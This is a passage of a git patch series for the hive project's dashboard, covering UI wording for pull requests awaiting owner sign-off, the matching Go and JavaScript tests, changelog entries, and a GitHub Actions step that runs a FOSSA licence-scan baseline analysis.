it.CIActivity.ChecksFailed > 0) { + return + } + if it.ReviewActivity == nil || it.ReviewActivity.Head != it.Head || + (it.ReviewActivity.State != "human_decision" && it.ReviewActivity.State != "approved") { + return + } + for i := range d.Options { + o := &d.Options[i] + if o.Action != decisionActionApprove || !o.Enabled { + continue + } + o.Lead = true + if o.Consequence == "" { + o.Consequence = decisionApproveSignOffConsequence + } + return + } +} + // decisionLeadWithCloseSuperseded moves "Close as superseded" to the front // of opts with the superseding PR named in its consequence. func decisionLeadWithCloseSuperseded(opts []StageTrackerDecisionOption, redundantOf int) []StageTrackerDecisionOption { diff --git a/src/pkg/dashboard/stage_tracker_remediation_chevron.test.js b/src/pkg/dashboard/stage_tracker_remediation_chevron.test.js index 6b379b0f28..99411eaf52 100644 --- a/src/pkg/dashboard/stage_tracker_remediation_chevron.test.js +++ b/src/pkg/dashboard/stage_tracker_remediation_chevron.test.js @@ -116,7 +116,7 @@ test('adopted row: a complete review verdict is done-style, and a human-decision const parked = cells(redPR({ stage: 85, display_column: 85, needs_human: true, review_activity: decision }))[5]; assert.match(parked, /class="ham-seg ham-activity-track done decided"/, 'parked on a person is settled, still not amber'); - assert.match(parked, /Review 5\/5 Β· awaiting human decision</, 'genuinely parked: the human word stands'); + assert.match(parked, /Review 5\/5 Β· needs owner sign-off</, 'genuinely parked: the sign-off word stands'); const changes = cells(redPR({ stage: 74, display_column: 30, code_activity: adopted, review_activity: { ...decision, state: 'changes_requested' } }))[5]; assert.match(changes, /class="ham-seg ham-activity-track failing"/); diff --git a/src/pkg/dashboard/stage_tracker_signoff_lead_test.go b/src/pkg/dashboard/stage_tracker_signoff_lead_test.go new file mode 100644 index 0000000000..5e7dd6bc66 --- /dev/null +++ b/src/pkg/dashboard/stage_tracker_signoff_lead_test.go @@ -0,0 +1,165 @@ +package dashboard + +import ( + "strings" + "testing" + + "github.com/hivecommons/hive/pkg/delegatedecision" +) + +// Owner on hive#16572 / docs#615 (085, a reviewer asking "@clubanderson +// should decide whether to accept this .github/workflows/fossa.yml change +// from a fork"): "why does review say awaiting humans if 5/5 reviews are +// good and nothing is left to do?" The reviews are done; what is left is +// the sign-off. Approve leads the row (Let hive decide beside it), the +// review word says whose sign-off, and a delegate verdict that recorded +// no recommendation never reads "Recommendation recorded". + +func signOffItem(ci, review string, opts ...StageTrackerDecisionOption) StageTrackerItem { + if opts == nil { + opts = []StageTrackerDecisionOption{ + decisionOption(decisionActionDelegate, "Let hive decide", true, ""), + decisionOption(decisionActionApprove, "Approve", true, ""), + decisionOption(decisionActionDirection, "Give direction", true, ""), + } + } + it := StageTrackerItem{Repo: "hivecommons/hive", Kind: "pr", Number: 16572, Stage: 85, Head: "h1", + DecisionNeeded: &StageTrackerDecision{AskedBy: decisionAskedByReviewer, Question: "@clubanderson should decide whether to accept this .github/workflows/fossa.yml change from a fork.", Options: opts}} + if ci != "" { + it.CIActivity = &StageTrackerActivity{Head: "h1", State: ci} + if ci == "failing" { + it.CIActivity.ChecksFailed = 1 + } + } + if review != "" { + it.ReviewActivity = &StageTrackerActivity{Head: "h1", State: review} + } + return it +} + +func leadActions(d *StageTrackerDecision) []string { + var out []string + for _, o := range d.Options { + if o.Lead { + out = append(out, o.Action) + } + } + return out +} + +func TestStageTrackerLeadApproveForSignOff(t *testing.T) { + cases := []struct { + name string + it StageTrackerItem + want []string + }{ + {"reviewer ask, CI green, reviews done β†’ Approve leads", signOffItem("passing", "human_decision"), []string{decisionActionApprove}}, + {"approved reviews also count", signOffItem("passing", "approved"), []string{decisionActionApprove}}, + {"no CI evidence yet is not failing", signOffItem("", "human_decision"), []string{decisionActionApprove}}, + {"CI failing: never lead with approve", signOffItem("failing", "human_decision"), nil}, + {"reviews still running: no lead", signOffItem("passing", "reviewing"), nil}, + {"no review evidence: no lead", signOffItem("passing", ""), nil}, + {"approve disabled (changes requested): no lead", signOffItem("passing", "human_decision", + decisionOption(decisionActionDelegate, "Let hive decide", true, ""), + decisionOption(decisionActionApprove, "Approve", false, "A reviewer requested changes")), nil}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + it := tc.it + stageTrackerLeadApproveForSignOff(&it) + got := leadActions(it.DecisionNeeded) + if strings.Join(got, ",") != strings.Join(tc.want, ",") { + t.Fatalf("leads = %v, want %v", got, tc.want) + } + if len(tc.want) > 0 { + for _, o := range it.DecisionNeeded.Options { + if o.Lead && o.Consequence == "" { + t.Fatalf("lead %s carries no consequence for its hover", o.Action) + } + } + } + }) + } + t.Run("sentinel ask leads too", func(t *testing.T) { + it := signOffItem("passing", "approved") + it.DecisionNeeded.AskedBy = decisionAskedBySentinel + stageTrackerLeadApproveForSignOff(&it) + if got := leadActions(it.DecisionNeeded); len(got) != 1 || got[0] != decisionActionApprove { + t.Fatalf("leads = %v", got) + } + }) + t.Run("the hive's own park is not a sign-off", func(t *testing.T) { + it := signOffItem("passing", "human_decision") + it.DecisionNeeded.AskedBy = decisionAskedByLane + stageTrackerLeadApproveForSignOff(&it) + if got := leadActions(it.DecisionNeeded); got != nil { + t.Fatalf("leads = %v", got) + } + }) + t.Run("an existing lead (Re-author) stands", func(t *testing.T) { + it := signOffItem("passing", "human_decision") + it.DecisionNeeded.Options = decisionLeadWithReauthor(it.DecisionNeeded.Options) + stageTrackerLeadApproveForSignOff(&it) + if got := leadActions(it.DecisionNeeded); len(got) != 1 || got[0] != decisionActionReauthor { + t.Fatalf("leads = %v", got) + } + }) + t.Run("issues and rows without an ask are untouched", func(t *testing.T) { + it := signOffItem("passing", "human_decision") + it.Kind = "issue" + stageTrackerLeadApproveForSignOff(&it) + if leadActions(it.DecisionNeeded) != nil { + t.Fatal("issue row gained a lead") + } + none := StageTrackerItem{Kind: "pr"} + stageTrackerLeadApproveForSignOff(&none) + }) +} + +func TestStageTrackerRowActionResultCarriesVerdict(t *testing.T) { + got := delegatedRowActionResult(delegatedecision.Input{Repo: "o/r", Kind: delegatedecision.KindPR, Number: 7}, + delegatedecision.Decision{Verdict: delegatedecision.VerdictOwnerOnly, Text: "owner only"}, nil) + if got.Verdict != string(delegatedecision.VerdictOwnerOnly) || got.Action != rowActionRecommended { + t.Fatalf("result = %+v", got) + } +} + +// The row as the SPA draws it: Approve β–Έ first, Let hive decide β–Έ second; +// the review chevron says whose sign-off; a recommend-less verdict's +// caption hands the decision back. +func TestStageTrackerSignOffRowInline(t *testing.T) { + html := indexHTML(t) + for _, want := range []string{ + `' Β· needs your sign-off'`, + `' Β· needs owner sign-off'`, + `const STAGE_TRACKER_PARK_KEPT_ACTING = {`, + } { + if !strings.Contains(html, want) { + t.Errorf("index.html lacks %q", want) + } + } + runStageTrackerRowActionsScript(t, stageTrackerRowActionsPreamble(t, html)+` +const ctx = { user: true, canHold: true, canHuman: true, login: 'clubanderson', nowMs: Date.parse('2026-11-04T12:00:00Z'), governor: null }; +const row = { repo: 'hivecommons/hive', kind: 'pr', number: 16572, title: 'fossa workflow', url: 'https://github.com/hivecommons/hive/pull/16572', stage: 85, head: 'h1', actor: 'maintainer', modifiers: ['needs-decision'], + review_activity: { head: 'h1', state: 'human_decision', perspectives_done: 5, perspectives_total: 5 }, + decision_needed: { question: '@clubanderson should decide whether to accept this .github/workflows/fossa.yml change from a fork.', asked_by: 'a reviewer', + options: [{ action: 'decide:delegate', label: 'Let hive decide', enabled: true }, { action: 'decide:approve', label: 'Approve', enabled: true, lead: true, consequence: 'Posts /lgtm + /approve as you; the merge queue takes it from there. Nothing merges here.' }, { action: 'decide:direction', label: 'Give direction', enabled: true }] } }; +const h = stageTrackerLeadActionHtml(row, ctx); +const acts = [...h.matchAll(/data-ham-act="([^"]+)"/g)].map(m => m[1]); +assert.deepStrictEqual(acts, ['decide:approve', 'decide:delegate'], h); +assert.ok(h.includes('class="ham-lead-act ham-act-primary" data-ham-act="decide:approve" title="Posts /lgtm + /approve as you; the merge queue takes it from there. Nothing merges here."'), h); +assert.ok(h.includes('>Approve</button>') && h.includes('>Let hive decide</button>'), h); +`) + runStageTrackerRowActionsScript(t, ` +const assert = require('assert'); +const STAGE_TRACKER_DECIDED_ACTING = { adopted: 'Adopting Β· opening hive copy…', approved: 'Approving…', directed: 'Sending back…', closed: 'Closing…', merged: 'Merging…', 'queued-for-merge': 'Queuing for merge…', recommended: 'Recommendation recorded' }; +`+jsConstLine(t, html, "STAGE_TRACKER_PARK_KEPT_ACTING")+` +`+jsFunc(t, html, "stageTrackerDecidedActing")+` +assert.strictEqual(stageTrackerDecidedActing({ action: 'recommended', verdict: 'owner-only' }, {}), 'Your decision needed Β· owner sign-off'); +assert.strictEqual(stageTrackerDecidedActing({ action: 'recommended', verdict: 'operator-action' }, {}), 'Your action needed Β· operator step'); +assert.strictEqual(stageTrackerDecidedActing({ action: 'recommended', verdict: 'recommend-only' }, {}), 'Recommendation recorded'); +assert.strictEqual(stageTrackerDecidedActing({ action: 'recommended' }, {}), 'Your decision needed', 'no verdict, no recommendation claimed'); +assert.strictEqual(stageTrackerDecidedActing({ action: 'adopted' }, {}), 'Adopting Β· opening hive copy…'); +assert.strictEqual(stageTrackerDecidedActing({ action: 'recommended', verdict: 'owner-only' }, { decided: { acting: 'from server' } }), 'from server'); +`) +} diff --git a/src/pkg/dashboard/stage_tracker_ui_rows_test.go b/src/pkg/dashboard/stage_tracker_ui_rows_test.go index 73172c8faa..4e352e75a9 100644 --- a/src/pkg/dashboard/stage_tracker_ui_rows_test.go +++ b/src/pkg/dashboard/stage_tracker_ui_rows_test.go @@ -688,7 +688,7 @@ assert.ok(/<span class="ham-since( ham-stalled)?">[^<]*<\/span>/.test(row) && !/ assert.strictEqual(ci[1], 'done', '11/11 passed is done-style: ' + adoptedRow); const parkedRow = stageTrackerRowHtml({ repo: 'acme/console', number: 16510, kind: 'pr', stage: 85, display_column: 85, head: 'f269349', needs_human: true, author: 'thatguywob', author_kind: 'human', review_activity: { head: 'f269349', state: 'human_decision', caption: 'Review findings Β· human decision', perspectives_done: 5, perspectives_total: 5, source: 'verified-review-bundle', observed_at: seen } }, stages, ctx); - assert.ok(/<li class="ham-seg ham-activity-track done decided" data-track="review"[^>]*>[\s\S]*?Review 5\/5 Β· awaiting human decision<\/span>/.test(parkedRow), 'genuinely parked on a person keeps the human word, still not amber: ' + parkedRow); + assert.ok(/<li class="ham-seg ham-activity-track done decided" data-track="review"[^>]*>[\s\S]*?Review 5\/5 Β· needs owner sign-off<\/span>/.test(parkedRow), 'genuinely parked on a person names the sign-off, still not amber: ' + parkedRow); } // hivecommons/hive#16540 rows. #16509: adopted, CI 7/11 unreported, review // decided β†’ one lit chevron. #16268: waiting for the contributor, CI 7/11 diff --git a/src/pkg/dashboard/static-src/js/tracker-row-strip.js b/src/pkg/dashboard/static-src/js/tracker-row-strip.js index dd1529cfa5..b4d8b06c88 100644 --- a/src/pkg/dashboard/static-src/js/tracker-row-strip.js +++ b/src/pkg/dashboard/static-src/js/tracker-row-strip.js @@ -79,8 +79,18 @@ case 'approved': return count + ' approved'; case 'changes_requested': return count + ' Β· changes requested'; // The hive on the repair (adopted / remediating) is not a human - // decision: the findings are the changes requested. - case 'human_decision': return count + (stageTrackerHiveOwnsRepair(item) ? ' Β· changes requested' : ' Β· awaiting human decision'); + // decision: the findings are the changes requested. Otherwise the + // reviews are done and a person's sign-off is what is left β€” the + // viewer's when the ask names them, else the owner's. Never + // "awaiting human" to the human it waits on (hivecommons/hive#16572: + // "why does review say awaiting humans if 5/5 reviews are good?"). + case 'human_decision': { + if (stageTrackerHiveOwnsRepair(item)) return count + ' Β· changes requested'; + const q = item.decision_needed && item.decision_needed.question ? String(item.decision_needed.question).toLowerCase() : ''; + const me = typeof window !== 'undefined' && window._hiveUser ? String(window._hiveUser).toLowerCase() : ''; + const mine = !!me && q.indexOf('@' + me) >= 0; + return count + (mine ? ' Β· needs your sign-off' : ' Β· needs owner sign-off'); + } case 'reviewing': case 'adjudicating': return count + ' Β· ' + (actor ? actor + ' reviewing' : 'reviewing'); case 'assigned': return count + ' Β· ' + (actor ? actor + ' queued' : 'queued'); case 'unassigned': return count + ' Β· swarm requested'; @@ -161,7 +171,12 @@ const source = matches ? a.source || 'unavailable' : 'unavailable'; const freshness = !Number.isFinite(observed) ? 'observation time unknown' : (stale ? 'stale Β· ' : 'observed Β· ') + new Date(observed).toISOString(); const since = matches && a.since && Number.isFinite(Date.parse(a.since)) ? ' Β· since ' + new Date(a.since).toISOString() : ''; - const blocker = matches && a.blocker ? ' Β· ' + a.blocker : ''; + let blocker = matches && a.blocker ? ' Β· ' + a.blocker : ''; + // A sign-off ask: the tooltip carries the question itself (who should + // decide what, and why β€” "workflow change from a fork") when the + // review evidence did not already quote it. + const ask = matches && state === 'human_decision' && item.decision_needed && item.decision_needed.question ? String(item.decision_needed.question) : ''; + if (ask && blocker.indexOf(ask) < 0) blocker += ' Β· ' + ask; // The backend's plain-language sentence behind the caption rides in // the tooltip only; the chevron clamps the caption. const detail = matches && a.detail ? ' Β· ' + a.detail : ''; diff --git a/src/pkg/dashboard/static-src/js/tracker-words-gate.js b/src/pkg/dashboard/static-src/js/tracker-words-gate.js index 4ad0fed27f..4ac06300e8 100644 --- a/src/pkg/dashboard/static-src/js/tracker-words-gate.js +++ b/src/pkg/dashboard/static-src/js/tracker-words-gate.js @@ -29,10 +29,16 @@ // Pure: the in-flight caption for a recorded decision β€” from the // server's projection when it has one, else from the result's action. const STAGE_TRACKER_DECIDED_ACTING = { adopted: 'Adopting Β· opening hive copy…', approved: 'Approving…', directed: 'Sending back…', closed: 'Closing…', merged: 'Merging…', 'queued-for-merge': 'Queuing for merge…', recommended: 'Recommendation recorded' }; + // A park-keeping verdict by what it recorded: a recommendation only + // when there is one (recommend-only); owner-only / operator-action hand + // the decision back, so the caption says so (hivecommons/hive#16572). + const STAGE_TRACKER_PARK_KEPT_ACTING = { 'recommend-only': 'Recommendation recorded', 'owner-only': 'Your decision needed Β· owner sign-off', 'operator-action': 'Your action needed Β· operator step' }; function stageTrackerDecidedActing(result, item) { const d = item && item.decided; if (d && d.acting) return d.acting; - return STAGE_TRACKER_DECIDED_ACTING[result && result.action] || 'Hive decided…'; + const action = result && result.action; + if (action === 'recommended') return STAGE_TRACKER_PARK_KEPT_ACTING[result.verdict] || 'Your decision needed'; + return STAGE_TRACKER_DECIDED_ACTING[action] || 'Hive decided…'; } // Pure: the βœ“ badge's first line for a decided row: the decision name // and who / what triggered it β€” "you Β· Let hive decide Β· hive chose diff --git a/src/pkg/dashboard/static/index.html b/src/pkg/dashboard/static/index.html index 7f49c07acc..57555e2301 100644 --- a/src/pkg/dashboard/static/index.html +++ b/src/pkg/dashboard/static/index.html @@ -16729,10 +16729,16 @@ <h3 class="faq-group-title">Where to get help</h3> // Pure: the in-flight caption for a recorded decision β€” from the // server's projection when it has one, else from the result's action. const STAGE_TRACKER_DECIDED_ACTING = { adopted: 'Adopting Β· opening hive copy…', approved: 'Approving…', directed: 'Sending back…', closed: 'Closing…', merged: 'Merging…', 'queued-for-merge': 'Queuing for merge…', recommended: 'Recommendation recorded' }; + // A park-keeping verdict by what it recorded: a recommendation only + // when there is one (recommend-only); owner-only / operator-action hand + // the decision back, so the caption says so (hivecommons/hive#16572). + const STAGE_TRACKER_PARK_KEPT_ACTING = { 'recommend-only': 'Recommendation recorded', 'owner-only': 'Your decision needed Β· owner sign-off', 'operator-action': 'Your action needed Β· operator step' }; function stageTrackerDecidedActing(result, item) { const d = item && item.decided; if (d && d.acting) return d.acting; - return STAGE_TRACKER_DECIDED_ACTING[result && result.action] || 'Hive decided…'; + const action = result && result.action; + if (action === 'recommended') return STAGE_TRACKER_PARK_KEPT_ACTING[result.verdict] || 'Your decision needed'; + return STAGE_TRACKER_DECIDED_ACTING[action] || 'Hive decided…'; } // Pure: the βœ“ badge's first line for a decided row: the decision name // and who / what triggered it β€” "you Β· Let hive decide Β· hive chose @@ -18173,8 +18179,18 @@ <h3 class="faq-group-title">Where to get help</h3> case 'approved': return count + ' approved'; case 'changes_requested': return count + ' Β· changes requested'; // The hive on the repair (adopted / remediating) is not a human - // decision: the findings are the changes requested. - case 'human_decision': return count + (stageTrackerHiveOwnsRepair(item) ? ' Β· changes requested' : ' Β· awaiting human decision'); + // decision: the findings are the changes requested. Otherwise the + // reviews are done and a person's sign-off is what is left β€” the + // viewer's when the ask names them, else the owner's. Never + // "awaiting human" to the human it waits on (hivecommons/hive#16572: + // "why does review say awaiting humans if 5/5 reviews are good?"). + case 'human_decision': { + if (stageTrackerHiveOwnsRepair(item)) return count + ' Β· changes requested'; + const q = item.decision_needed && item.decision_needed.question ? String(item.decision_needed.question).toLowerCase() : ''; + const me = typeof window !== 'undefined' && window._hiveUser ? String(window._hiveUser).toLowerCase() : ''; + const mine = !!me && q.indexOf('@' + me) >= 0; + return count + (mine ? ' Β· needs your sign-off' : ' Β· needs owner sign-off'); + } case 'reviewing': case 'adjudicating': return count + ' Β· ' + (actor ? actor + ' reviewing' : 'reviewing'); case 'assigned': return count + ' Β· ' + (actor ? actor + ' queued' : 'queued'); case 'unassigned': return count + ' Β· swarm requested'; @@ -18255,7 +18271,12 @@ <h3 class="faq-group-title">Where to get help</h3> const source = matches ? a.source || 'unavailable' : 'unavailable'; const freshness = !Number.isFinite(observed) ? 'observation time unknown' : (stale ? 'stale Β· ' : 'observed Β· ') + new Date(observed).toISOString(); const since = matches && a.since && Number.isFinite(Date.parse(a.since)) ? ' Β· since ' + new Date(a.since).toISOString() : ''; - const blocker = matches && a.blocker ? ' Β· ' + a.blocker : ''; + let blocker = matches && a.blocker ? ' Β· ' + a.blocker : ''; + // A sign-off ask: the tooltip carries the question itself (who should + // decide what, and why β€” "workflow change from a fork") when the + // review evidence did not already quote it. + const ask = matches && state === 'human_decision' && item.decision_needed && item.decision_needed.question ? String(item.decision_needed.question) : ''; + if (ask && blocker.indexOf(ask) < 0) blocker += ' Β· ' + ask; // The backend's plain-language sentence behind the caption rides in // the tooltip only; the chevron clamps the caption. const detail = matches && a.detail ? ' Β· ' + a.detail : ''; From 35365908b613ff61af10b2927c5f9a1c64b37b0c Mon Sep 17 00:00:00 2001 From: thatguywob <revans.tech@icloud.com> Date: Wed, 4 Nov 2026 05:28:34 -0700 Subject: [PATCH 65/87] =?UTF-8?q?=F0=9F=90=9B=20fix(ci):=20analyze=20FOSSA?= =?UTF-8?q?=20diff=20baseline=20before=20policy=20test=20(#16572)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Upload the exact PR base SHA from a separate checkout before testing the PR revision. This removes the dependency on the base-branch push run completing its FOSSA analysis first, while keeping the existing diff policy and secret guards. Hive-Run: hivecommons/hive#16568 Hive-Plan: issue-16568-option-1-deterministic-baseline Hive-Spec: issue-16568#acceptance Signed-off-by: thatguywob <thatguywob@users.noreply.github.com> Co-authored-by: thatguywob <thatguywob@users.noreply.github.com> --- .github/workflows/fossa.yml | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) diff --git a/.github/workflows/fossa.yml b/.github/workflows/fossa.yml index ea9f9744b8..c74f85f83e 100644 --- a/.github/workflows/fossa.yml +++ b/.github/workflows/fossa.yml @@ -49,6 +49,30 @@ jobs: team: Hive Commons branch: ${{ github.head_ref || github.ref_name }} + # A recent base-branch push may still be queued or analyzing in FOSSA. + # Upload the exact diff baseline here so the PR test does not race it. + # Check it out after the PR scan to keep it out of that scan's discovery. + - name: Checkout FOSSA diff baseline + if: env.FOSSA_API_KEY != '' && github.event_name == 'pull_request' + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + ref: ${{ github.event.pull_request.base.sha }} + path: .fossa-base + persist-credentials: false + + - name: Analyze FOSSA diff baseline + if: env.FOSSA_API_KEY != '' && github.event_name == 'pull_request' + working-directory: .fossa-base + env: + FOSSA_BASE_SHA: ${{ github.event.pull_request.base.sha }} + FOSSA_BASE_BRANCH: ${{ github.event.pull_request.base.ref }} + # Reuse the CLI installed by Run FOSSA scan; the action has no revision input. + run: | + fossa analyze --project hivecommons/hive \ + --revision "$FOSSA_BASE_SHA" \ + --branch "$FOSSA_BASE_BRANCH" \ + --team "Hive Commons" + - name: Run FOSSA policy test if: env.FOSSA_API_KEY != '' && github.event_name == 'pull_request' uses: fossas/fossa-action@29693cc50323968e039056be419b32989fc5880c # v2.0.0 From d42ec31ad42bbecbcacb13f7e349bf1f11e33ee2 Mon Sep 17 00:00:00 2001 From: Andy Anderson <andy@clubanderson.com> Date: Wed, 4 Nov 2026 07:52:26 -0500 Subject: [PATCH 66/87] =?UTF-8?q?=E2=9C=A8=20activity:=20collapse=20finish?= =?UTF-8?q?ed=20CI/Review=20chevrons=20to=20pass/fail=20icons;=20route=20"?= =?UTF-8?q?Needs=20human"=20notes=20through=20the=20hive-note=20tuck=20(#1?= =?UTF-8?q?6584)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Fix 1: when a CI or Review stage reaches a settled verdict the chevron renders only its icon (green pass / red fail, existing status tokens); the words move into the tooltip and aria-label. In-progress and awaiting-human states keep today's text. Chevron geometry unchanged. Fix 2: PR #16011 (95eafcdfa) drew "Needs human" context as a static .ham-human-context row with animation: none so the requirement stayed readable. Middle ground: those lines now ride the shared hive-note tuck machinery (open 30 s, slide-left into the ⬑ icon, click to re-open, keyed by row+text so re-renders never re-open them), while the row's Let hive decide / Sentinel alert controls keep the decision state. Signed-off-by: Andrew Anderson <andy@clubanderson.com> Co-authored-by: hivecommons-hive[bot] <280983584+hivecommons-hive[bot]@users.noreply.github.com> --- .../changed-activity-chevron-verdict-icons.md | 1 + .../fixed-activity-needs-human-hive-note.md | 1 + .../dashboard/stage_tracker_activity.test.js | 18 ++- src/pkg/dashboard/stage_tracker_cues_test.go | 2 + .../dashboard/stage_tracker_note_tuck_test.go | 66 ++++++++- .../stage_tracker_remediation_chevron.test.js | 18 ++- .../dashboard/stage_tracker_ui_rows_test.go | 5 +- src/pkg/dashboard/static-src/css/tracker.css | 5 + .../static-src/js/tracker-human-attention.js | 26 +++- .../dashboard/static-src/js/tracker-motion.js | 82 ++++++++++-- .../static-src/js/tracker-row-strip.js | 12 +- src/pkg/dashboard/static/index.html | 125 +++++++++++++++--- .../testdata/tracker-header-geometry.js | 4 + 13 files changed, 313 insertions(+), 52 deletions(-) create mode 100644 changelog.d/changed-activity-chevron-verdict-icons.md create mode 100644 changelog.d/fixed-activity-needs-human-hive-note.md diff --git a/changelog.d/changed-activity-chevron-verdict-icons.md b/changelog.d/changed-activity-chevron-verdict-icons.md new file mode 100644 index 0000000000..e0f6990128 --- /dev/null +++ b/changelog.d/changed-activity-chevron-verdict-icons.md @@ -0,0 +1 @@ +- Activity monitor: once a CI or Review chevron reaches a settled verdict (all checks reported / review approved or changes requested) the chevron shows only its icon in green (pass) or red (fail); the former words ("CI 11/11 passed", "Review 5/5 Β· 1 changes requested", failing check names) move into the chevron tooltip and `aria-label`. In-progress and awaiting-human states keep their text; chevron geometry is unchanged. diff --git a/changelog.d/fixed-activity-needs-human-hive-note.md b/changelog.d/fixed-activity-needs-human-hive-note.md new file mode 100644 index 0000000000..c372795996 --- /dev/null +++ b/changelog.d/fixed-activity-needs-human-hive-note.md @@ -0,0 +1 @@ +- Activity monitor: "Needs human: …", "Current blocker", "Next move", "Claimed by" and optional-delegation lines under an item are hive notes again β€” they open, tuck left into the ⬑ icon after the same 30 s as other hive notes, re-open on click, and a re-render never re-opens a line the tab already showed. The row's Let hive decide / Sentinel alert controls still carry the decision state. #16011 had drawn these as static rows that never left. diff --git a/src/pkg/dashboard/stage_tracker_activity.test.js b/src/pkg/dashboard/stage_tracker_activity.test.js index c991e7b18d..71fcdf953f 100644 --- a/src/pkg/dashboard/stage_tracker_activity.test.js +++ b/src/pkg/dashboard/stage_tracker_activity.test.js @@ -457,7 +457,8 @@ test('Hotshot #344 shape: queued CI and approved review retain current phase wit assert.match(cells.ci, /ham-activity-track active ham-current/, 'queued CI is in progress: the full active fill, no pulse'); assert.match(cells.ci, /ham-track-state"><svg [^>]*><\/svg>CI \?\/\? Β· queued</); assert.match(cells.review, /ham-activity-track done ham-current/); - assert.match(cells.review, /Review approved</); + assert.match(cells.review, /data-verdict="pass"[^]*ham-track-verdict"><svg [^>]*><\/svg><\/span>/, 'an approved review is the glyph alone'); + assert.match(cells.review, /Review: Review approved Β· /, 'the words move to the tooltip'); for (const cell of [cells.ci, cells.review]) { assert.match(cell, /aria-current="step"/); assert.match(cell, /aria-label="Current pipeline phase/); @@ -495,7 +496,8 @@ test('Hive #16268 shape: held native Fixing waits for a fixer in the CI/Review p assert.match(cells.ci, /pending ham-current/, 'held: unreported checks are not motion (#16540)'); assert.match(cells.ci, /CI \?\/\? Β· no checks reported yet</); assert.match(cells.review, /done ham-current/); - assert.match(cells.review, /Review approved</); + assert.match(cells.review, /data-verdict="pass"[^]*ham-track-verdict"><svg [^>]*><\/svg><\/span>/); + assert.match(cells.review, /Review: Review approved Β· /); assert.match(cells.review, /Waiting for fixer Β· no code work observed/); assert.match(cells.review, /Held by @hanthor Β· Maintainer hold/); assert.doesNotMatch(cells.rendered, /data-motion=|>(?:Fixing|Remediating) Β·/); @@ -540,7 +542,7 @@ test('old-head or stale observations cannot fabricate running/completion, but do assert.doesNotMatch(cells.review, /ham-activity-track done/); } else { assert.match(cells.ci, /active ham-current[^]*CI \?\/\? Β· running</, mode + ': the last observed state still reads in words'); - assert.match(cells.review, /done ham-current[^]*Review approved</, mode + ': an approval of this head stays done, freshness only in the tooltip'); + assert.match(cells.review, /done ham-current[^]*data-verdict="pass"[^]*Review: Review approved Β· /, mode + ': an approval of this head stays done, freshness only in the tooltip'); assert.match(cells.review, mode === 'stale' ? /stale Β· / : /observation time unknown/); } } @@ -690,7 +692,7 @@ test('stale activity is visibly unknown in the tooltip, never pulses, and still assert.match(html, /data-display-state="unknown"/); assert.match(html, /ham-activity-track active"[^]*ham-chevron-copy ham-track-state"><svg [^>]*><\/svg>Review 1\/5 Β· reviewer reviewing</, 'stale in-progress evidence keeps the lit fill and its count words'); item.review_activity = { ...activity('approved', 'Review approved'), perspectives_done: 5, perspectives_total: 5 }; - assert.match(track(item, 'review', {}, false, now + 300000), /ham-activity-track done"[^]*Review 5\/5 approved</, 'an approval of this head stays done when stale'); + assert.match(track(item, 'review', {}, false, now + 300000), /ham-activity-track done"[^]*Review: Review 5\/5 approved Β· [^]*ham-track-verdict"><svg [^>]*><\/svg><\/span>/, 'an approval of this head stays done when stale: glyph alone, count words in the tooltip'); }); test('current-head evidence links are accessible and never retained across a new head', () => { @@ -805,8 +807,12 @@ test('#16484: the three screenshot rows β€” both tracks lit with counts, swarm r cells = physicalTracks(livePR({ head, stage: 70, display_column: 50, modifiers: ['hold'], hold: { by: 'hanthor', pill: 'Held by @hanthor' }, ci_activity: fresh('failing', { checks_passed: 13, checks_total: 14, checks_failed: 1, checks_failing: ['native-queue-policy'], blocker: 'native-queue-policy' }), review_activity: fresh('approved', { perspectives_done: 5, perspectives_total: 5 }) })); - assert.equal(cls(cells.ci), 'failing'); assert.equal(text(cells.ci), 'CI 13/14 Β· 1 failing (native-queue-policy)'); - assert.equal(cls(cells.review), 'done'); assert.equal(text(cells.review), 'Review 5/5 approved'); + // Settled verdicts are the glyph alone; the count words ride in the tooltip. + const tip = cell => cell.match(/ aria-label="([^"]*)"/)[1]; + assert.equal(cls(cells.ci), 'failing'); assert.equal(text(cells.ci), ''); assert.match(cells.ci, /data-verdict="fail"/); + assert.match(tip(cells.ci), /^(?:Current pipeline phase Β· )?CI: CI 13\/14 Β· 1 failing \(native-queue-policy\) Β· /); + assert.equal(cls(cells.review), 'done'); assert.equal(text(cells.review), ''); assert.match(cells.review, /data-verdict="pass"/); + assert.match(tip(cells.review), /^(?:Current pipeline phase Β· )?Review: Review 5\/5 approved Β· /); assert.match(cells.review, /Held by @hanthor/); // Not started: a PR still being written (column 30) with no evidence shows the glyph alone, never lit. cells = physicalTracks(livePR({ head, stage: 30, display_column: 30 })); diff --git a/src/pkg/dashboard/stage_tracker_cues_test.go b/src/pkg/dashboard/stage_tracker_cues_test.go index f2e6196825..d72141b601 100644 --- a/src/pkg/dashboard/stage_tracker_cues_test.go +++ b/src/pkg/dashboard/stage_tracker_cues_test.go @@ -36,6 +36,7 @@ func stageTrackerCuesJS(t *testing.T, html string) string { jsFunc(t, html, "stageTrackerNewEvent"), jsFunc(t, html, "stageTrackerNoteOwnerEvent"), jsFunc(t, html, "stageTrackerEventHtml"), + jsFunc(t, html, "stageTrackerNoteLineHtml"), jsFunc(t, html, "stageTrackerLocalMidnight"), jsFunc(t, html, "stageTrackerMergedIdent"), jsFunc(t, html, "stageTrackerMergedNext"), @@ -376,6 +377,7 @@ func stageTrackerCelebrateJS(t *testing.T, html string) string { jsFunc(t, html, "stageTrackerEventLineInject"), jsFunc(t, html, "stageTrackerEventShownAt"), jsFunc(t, html, "stageTrackerEventHtml"), + jsFunc(t, html, "stageTrackerNoteLineHtml"), jsFunc(t, html, "stageTrackerNoteOwnerEvent"), jsFunc(t, html, "stageTrackerCueAgeSync"), jsFunc(t, html, "stageTrackerAgoText"), diff --git a/src/pkg/dashboard/stage_tracker_note_tuck_test.go b/src/pkg/dashboard/stage_tracker_note_tuck_test.go index 25d07f2673..abf8aad96c 100644 --- a/src/pkg/dashboard/stage_tracker_note_tuck_test.go +++ b/src/pkg/dashboard/stage_tracker_note_tuck_test.go @@ -36,6 +36,14 @@ func stageTrackerNoteTuckJS(t *testing.T, html string) string { jsFunc(t, html, "stageTrackerNoteEvents"), jsFunc(t, html, "stageTrackerNoteOwnerEvent"), jsFunc(t, html, 